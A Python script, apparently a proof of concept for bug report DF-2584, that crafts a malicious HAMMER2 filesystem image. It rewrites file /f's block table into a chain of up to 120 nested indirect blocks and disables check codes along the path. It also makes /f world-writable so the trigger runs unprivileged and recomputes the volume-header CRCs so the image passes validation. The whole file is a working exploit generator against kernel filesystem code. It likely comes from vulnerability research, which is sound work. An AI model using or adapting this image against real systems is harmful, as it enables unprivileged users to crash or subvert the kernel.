DF-2584 / craft_deep.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 | #!/usr/bin/env python3 """ DF-2584 crafted-image patcher (self-verifying). Turns the pristine TESTFS image (file /f at inum 1024, one 32KB DATA block at key 0, radix 15) into an image whose /f block table is a chain of DEPTH INDIRECT blocks (16KB each, 128 bref slots, single used entry at index 0, methods=0 => no check codes) ending at the ORIGINAL data block. All crafted parent links use check-method 0x00 (HAMMER2_CHECK_NONE), so no per-entry CRC maintenance is needed; the three volume-header CRC-32Cs are recomputed. usage: craft_deep.py <src.img> <dst.img> <DEPTH> """ import struct, sys POLY = 0x82F63B78 T = [] for i in range(256): c = i for _ in range(8): c = (c >> 1) ^ POLY if c & 1 else c >> 1 T.append(c) def crc32c(d): crc = 0xFFFFFFFF for b in d: crc = (crc >> 8) ^ T[(crc ^ b) & 0xFF] return crc ^ 0xFFFFFFFF assert crc32c(b"123456789") == 0xE3069283 DEPTH = int(sys.argv[3]) assert 1 <= DEPTH <= 120 IMG = bytearray(open(sys.argv[1], "rb").read()) # ---- verified offsets (see walk.py output for the pristine image) ---- SROOT_METHODS_VH = 0x200 + 1 # volheader.sroot_blockref.methods SUPER = 0x8800c00 # superroot inode block SR_FE = SUPER + 0x200 + 0*128 + 1 # superroot u.blockset[0].methods (-> TESTFS inode) PFS = 0x8800800 # TESTFS PFS-root inode block PFS_FE = PFS + 0x200 + 0*128 + 1 # pfs u.blockset[0].methods (-> file inode) FIL = 0x8800000 # file /f inode block F_DATA = FIL + 0x200 + 0*128 # file u.blockset[0] (the DATA entry) ORIG_ENTRY = bytes(IMG[F_DATA:F_DATA+128]) # sanity: pristine state assert IMG[F_DATA] == 3, "file blockset[0] must be DATA (3), got %d" % IMG[F_DATA] assert struct.unpack_from("<Q", IMG, F_DATA+8)[0] == 0, "data key must be 0" orig_doff = struct.unpack_from("<Q", IMG, F_DATA+32)[0] assert orig_doff & 0x3F == 15, "orig data radix expected 15 (32KB)" assert IMG[SROOT_METHODS_VH] != 0 and IMG[SR_FE] != 0 and IMG[PFS_FE] != 0 IND_BASE = 0x10000000 # 60 x 16KB of verified-zero space IND_SIZE = 0x4000 # 16384 (IND_BYTES_NOM), radix 14 def mk_entry(next_off, is_data): e = bytearray(ORIG_ENTRY) e[0] = 3 if is_data else 2 # type: DATA / INDIRECT e[1] = 0x00 # methods: CHECK_NONE e[2] = 0 # copyid e[3] = 16 # keybits (match orig coverage) e[4] = 14 if not is_data else e[4] # vradix e[5] = 0 # flags struct.pack_into("<H", e, 6, 0) # leaf_count struct.pack_into("<Q", e, 8, 0) # key = 0 if not is_data: struct.pack_into("<Q", e, 32, next_off | 14) # data_off | radix # tids/embed/check: inherited from the original data entry return bytes(e) # ---- build the DEPTH indirect blocks ---- offs = [IND_BASE + i*IND_SIZE for i in range(DEPTH)] for i, off in enumerate(offs): blk = bytearray(IND_SIZE) if i == DEPTH - 1: blk[0:128] = mk_entry(0, is_data=True) # last: original DATA entry else: blk[0:128] = mk_entry(offs[i+1], is_data=False) IMG[off:off+IND_SIZE] = blk # ---- rewire file inode blockset[0] -> first indirect ---- IMG[F_DATA:F_DATA+128] = mk_entry(offs[0], is_data=False) # ---- make /f world-writable so the trigger can run unprivileged ---- # (meta.mode is u32 at inode meta +0x54; low 16 bits are the unix mode) MODE = FIL + 0x54 mode = struct.unpack_from("<I", IMG, MODE)[0] & 0xFFFF assert mode == 0o644, "f expected mode 0644, got %o" % mode assert IMG[FIL + 0x50] == 2, "meta.type must be 2 (regular file), got %d" % IMG[FIL+0x50] assert struct.unpack_from("<Q", IMG, FIL + 0x58)[0] == 1024, "inum must be 1024" struct.pack_into("<I", IMG, MODE, 0o666) # ---- disable check codes along the modified path ---- IMG[SROOT_METHODS_VH] = 0x00 # volheader -> superroot inode block IMG[SR_FE] = 0x00 # superroot -> TESTFS PFS-root inode block IMG[PFS_FE] = 0x00 # PFS-root -> file inode block # ---- recompute volume header CRCs (identical scheme to DF-5836 pack) ---- def w32(off, v): IMG[off:off+4] = struct.pack("<I", v) w32(0x1F8, crc32c(bytes(IMG[0x200:0x400]))) w32(0x1FC, crc32c(bytes(IMG[0x000:0x1FC]))) w32(0xFFFC, crc32c(bytes(IMG[0x000:0xFFFC]))) # ---- self-verify ---- def u32(off): return struct.unpack_from("<I", IMG, off)[0] assert u32(0x1F8) == crc32c(bytes(IMG[0x200:0x400])) assert u32(0x1FC) == crc32c(bytes(IMG[0x000:0x1FC])) assert u32(0xFFFC) == crc32c(bytes(IMG[0x000:0xFFFC])) # walk the crafted chain end-to-end off = struct.unpack_from("<Q", IMG, F_DATA+32)[0] & ~0x3F n = 0 while True: t = IMG[off] assert t in (2, 3), "bad type 0x%02x at 0x%x" % (t, off) n += 1 if t == 3: assert (struct.unpack_from("<Q", IMG, off+32)[0] & ~0x3F) == (orig_doff & ~0x3F) break off = struct.unpack_from("<Q", IMG, off+32)[0] & ~0x3F assert n == DEPTH, "walked %d, expected %d" % (n, DEPTH) assert struct.unpack_from("<I", IMG, MODE)[0] & 0o7777 == 0o666 # control: second data entry untouched? (file has only one data block; skip) open(sys.argv[2], "wb").write(IMG) print("crafted OK: depth=%d indirects @0x%x..0x%x, data entry preserved " "(0x%x), methods disabled vh/sr/pfs, 3 CRCs verified" % (DEPTH, offs[0], offs[-1], orig_doff & ~0x3F)) |